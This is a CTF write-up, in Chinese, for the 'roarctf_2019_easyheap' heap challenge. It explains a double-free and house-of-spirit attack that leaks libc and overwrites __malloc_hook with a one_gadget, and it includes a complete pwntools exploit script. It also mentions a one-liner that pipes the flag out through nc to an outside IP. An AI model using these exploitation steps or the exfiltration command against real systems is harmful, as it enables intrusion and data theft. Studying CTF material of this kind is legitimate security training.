题目分析
有添加,删除,展示三个主要功能,不过添加有次数限制,同时限制了申请大小,使得我们不能申请出unsorted bin范围内的chunk
删除之后没有置空,可以多次free
show功能有条件限制,而且会把stdout关了
添加和后门的次数
后门函数可以进行calloc和free,同样没有置空,但是后门函数的次数限制逻辑有问题,即使为0还会再进行一次减,这样就不为0了,calloc大小不能控制,为0xa0,在unsorted bin范围内
漏洞利用
- 在输入名字信息时伪造一个chunk,size为0x71
- 先利用后门函数进行申请,然后又普通申请一个0x60大小,并释放后门中申请的chunk使得它进入unsorted bin,之后我们在普通申请,就会切割unsorted bin给我们,再次申请获得一个新的chunk,此时就能double free了(因为后门函数仍然指向之前的unsorted bin,但那部分此时被切割给我们了)
- 利用house of spirit申请出fake_chunk,并修改0x602090为指定值,并修改正常指针为read_got,利用show功能泄露libc
- 在关闭stdout之后,我们仍然可以和程序通信,再次故伎重演,这次利用house of spirit修改
__malloc_hook
为realloc+0x14,并把__realloc_hook
改为one_gadget即可 - 最后还有一步,我们需要把stdout重定向到stdin,不然是什么都看不到的,使用
exec 1>&0
,不过也看到反弹shell的方法(cat flag | nc 192.168.235.128 1234
),因为buu反弹shell比较麻烦,所以建议使用重定向
Exp
from pwn import *
r = remote("node3.buuoj.cn", 27712)
#r = process("./roarctf_2019_easyheap")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400A47
x/10gx 0x602088
c
''')
elf = ELF("./roarctf_2019_easyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
fake_chunk = 0x602060
read_got = elf.got['read']
menu = ">> "
def add(size, content, blind = False):
if not blind:
r.recvuntil(menu)
else:
sleep(0.3)
r.sendline('1')
if not blind:
r.recvuntil("input the size\n")
else:
sleep(0.3)
r.sendline(str(size))
if not blind:
r.recvuntil("please input your content\n")
else:
sleep(0.3)
r.send(content)
def delete(blind = False):
if not blind:
r.recvuntil(menu)
else:
sleep(0.3)
r.sendline('2')
def show():
r.recvuntil(menu)
r.sendline('3')
def secret(type, content='', blind = False):
if not blind:
r.recvuntil(menu)
else:
sleep(0.3)
r.sendline('666')
if not blind:
r.recvuntil("build or free?\n")
else:
sleep(0.3)
r.sendline(str(type)) #1.add 2.free
if type == 1:
if not blind:
r.recvuntil("please input your content\n")
else:
sleep(0.3)
r.send(content)
r.recvuntil("please input your username:")
payload = p64(0) + p64(0x71) + '\x00'*0x10
r.send(payload)
r.recvuntil("please input your info:")
r.send('b'*0x20)
secret(1, 'a'*0xa0)
add(0x60, 'chunk1\n')
secret(2)
add(0x60, 'chunk0part\n')
add(0x60, 'chunk2\n')
delete()
secret(2)
delete()
add(0x60, p64(fake_chunk))
add(0x60, 'a\n')
add(0x60, 'b\n')
payload = 'a'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF)
add(0x60, payload)
show()
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
one_gadget = libc.address + one_gadget_16[3]
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
success("malloc_hook"+hex(malloc_hook))
success("libc_base:"+hex(libc.address))
secret(1, 'a', blind = True)
secret(1, 'a'*0xa0, True)
add(0x60, 'b'*0x60, True)
secret(2, blind = True)
add(0x60, 'c'*0x60, True)
add(0x60, 'd'*0x60, True)
delete(True)
secret(2, blind = True)
delete(True)
add(0x60, p64(malloc_hook-0x23), True)
add(0x60, 'a'*0x60, True)
add(0x60, 'b'*0x60, True)
payload = '\x00'*(0x13-8) + p64(one_gadget) + p64(realloc+0x14)
add(0x60, payload, True)
#sleep(0.3)
r.sendline('1')
sleep(0.3)
r.sendline('10')
r.sendline("exec 1>&0")
r.interactive()